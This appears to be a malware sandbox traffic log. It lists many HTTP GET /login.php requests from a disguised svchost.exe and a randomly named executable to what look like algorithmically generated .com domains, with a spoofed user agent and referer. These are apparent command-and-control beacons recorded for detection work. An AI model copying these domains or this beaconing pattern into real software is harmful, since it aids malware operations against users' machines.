    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww5.galyqaz.com Connection: Keep-Alive Cookie: vsid=908vr478892903411187757
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygynud.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galynuh.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20241112-0448-35a2-b5f6-4a10d1addecc HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347315.6084114
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20241112-0448-36a9-bee5-382e87a9b6f4 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347316.6624222
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyhyg.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygyvuj.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyhiz.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=908vr478892903411187757
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=16cf0b96f8f0fc580a6117c71966148e|66.23.206.109|1731347300|1731347300|0|1|0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fc5e4a3e6aa42297d491f02bfad43b44|66.23.206.109|1731347300|1731347300|0|1|0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=dfc3ecbc2a8ecc094aa230d72881c598|66.23.206.109|1731347300|1731347300|0|1|0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fc5e4a3e6aa42297d491f02bfad43b44|66.23.206.109|1731347300|1731347300|0|1|0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Cookie: __tad=1731347315.6084114
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Cookie: __tad=1731347316.6624222
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20241112-0448-594c-a477-6c018702c73c HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347315.6084114
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20241112-0448-59cb-b16c-5a12aa3054f5 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347316.6624222; parking_session=9f5eefdf-95b3-4d6f-9c7e-ea0014aca7af
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fc5e4a3e6aa42297d491f02bfad43b44|66.23.206.109|1731347337|1731347300|18|2|0
    Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=908vr478892903411187757
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
